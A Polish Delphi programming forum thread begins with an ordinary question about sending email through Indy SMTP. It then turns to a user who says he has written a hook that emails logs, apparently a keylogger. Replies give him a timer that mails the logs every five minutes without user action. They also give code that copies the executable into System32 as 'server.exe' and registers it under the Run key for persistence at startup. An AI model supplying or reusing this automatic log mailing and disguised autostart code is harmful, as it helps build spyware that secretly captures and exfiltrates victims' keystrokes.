wysylanie maila

[sebik90]

procedure TForm1.Button1Click(Sender: TObject);

begin

OpenDialog1.Execute;

Label1.Caption:=OpenDialog1.FileName;

end;



procedure TForm1.Button2Click(Sender: TObject);

begin

      IdMessage1.Body.Append(Memo1.Text);

      IdMessage1.From.name := Edit1.Text;

      IdMessage1.From.Address := Edit2.Text;

      IdMessage1.Recipients.EMailAddresses := Edit3.Text;

      IdMessage1.Subject := Edit4.Text;

      TIdAttachment.Create(IdMessage1.MessageParts, Label1.Caption);

      IdSMTP1.Host:= Edit5.Text;

      IdSMTP1.Connect;

      try

      IdSMTP1.Send(IdMessage1);

      finally

      IdSMTP1.Disconnect;

      showmessage('Wiadomosc wysłana prawidłowo!');

end;

end;

maila mam na o2 to w host wpisuje poczta.o2.pl
i wyskakuje mi okno
Path to source file:
idCPConnection.pas

Dlaczego??

a ak w koncu pisze ze wyslano to nic nie dochodz

 

[Dark Smark]

Sprawdź na poczcie czy napewno poczta.o2.pl a nie:
pop3.poczta.o2.pl
smtp.poczta.o2.pl
smtp.o2.pl

Nie wiem sprawdź.
A jak chcesz testować to skompiluj i nie odpalaj z delphi tylko wejdź do folderu z plikiem i odpal i testuj (exe).

Na wp ma być:
login
hasło
smtp.wp.pl

 

[damian0170]

Tu masz wszystko bardzo dobrze opisane:

Pobieranie strony WWW,Pobieranie i wysyłanie pliku przez FTP,Wysyłanie emaila przez SMTP,Obsługa joysticka

 

[marmex]

Nie chce otwierac kolejnego tematu a tez mam problem z wysylaniem meili wiec napisze tutaj.

Mam taki problem ze napisalem hooka z funkcją wysylania logów na meila, ale by te logi wyslalo trzeba kliknąc button. Jak zrobic tak zeby np po upływie 5 min wysyłało meile bez klikania ??

I drugi problem mam z dodaniem pliku do rejestru. Bo jak dam w OnCreate w formie to plik dodaje do rejestru dopiero wtedy gdy sie kliknie na forme. A jak zrobic by dodawalo do rejestru przy uruchomieniu ??

 

[Dark Smark]

Originally posted by marmex
Nie chce otwierac kolejnego tematu a tez mam problem z wysylaniem meili wiec napisze tutaj.

Mam taki problem ze napisalem hooka z funkcją wysylania logów na meila, ale by te logi wyslalo trzeba kliknąc button. Jak zrobic tak zeby np po upływie 5 min wysyłało meile bez klikania ??

I drugi problem mam z dodaniem pliku do rejestru. Bo jak dam w OnCreate w formie to plik dodaje do rejestru dopiero wtedy gdy sie kliknie na forme. A jak zrobic by dodawalo do rejestru przy uruchomieniu ??

^%$%$$$&^&*&^*^^&%&^$$^#^
NAUCZ SIĘ PODSTAW!!
UŻYJ KOMPONENTU Timer co jest w delphi!!
NA FORUM NAWET JEST O REJESTRZE ŻEGNAJ!

 

[damian0170]

Originally posted by marmex
Nie chce otwierac kolejnego tematu a tez mam problem z wysylaniem meili wiec napisze tutaj.

Mam taki problem ze napisalem hooka z funkcją wysylania logów na meila, ale by te logi wyslalo trzeba kliknąc button. Jak zrobic tak zeby np po upływie 5 min wysyłało meile bez klikania ??

I drugi problem mam z dodaniem pliku do rejestru. Bo jak dam w OnCreate w formie to plik dodaje do rejestru dopiero wtedy gdy sie kliknie na forme. A jak zrobic by dodawalo do rejestru przy uruchomieniu ??

Staryyy ;(
Na 4programmers.net masz "kompendium" programisty (tam masz prawie wszystko), przeczytaj chociarz trochę...

Wstaw Timer na formę, kliknij na niego i wpisz:

Var 

  I: Integer;



...



procedure TForm1.Timer1Timer(Sender: TObject);

begin

  Inc(I);

  If I >= 300 then // 300 sec. = 5 min

  begin

    Timer1.Enabled:=False;

    // Tutaj będzie twoje wysyanie maila może być przez button heh np.:

    Button1.Click;

    I:=0;

    Timer1.Enabled:=True;

  end;

end;

Ad2

Też bym miał problem z dodaniem pliku do rejestru hehe
Ale jak byś chciał dodać jakąś wartość to jest to możliwe....

Jeśli wpiszesz w OnCreate to program wykonuje to przy uruchomieniu nie po kliknięciu !
Pomyliło ci się z OnClick czy DbClick.

 

[Dark Smark]

@Troche głupie, bo można skopiować funkcje przycisku i wkleić do timera i ustawić wartość na ile się chce

uses registry

DO on create formy:


var
reg:tregistry;
begin

Reg:=TRegistry.Create;
try
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun',True);
reg.WriteString('SERVER','C:WINDOWSSystem32server.exe');
copyfile(pchar(paramstr(0)),pchar('C:WINDOWSSystem32server.exe'),true);
BorderIcons:= [biSystemMenu];
finally
end;
end;[/b]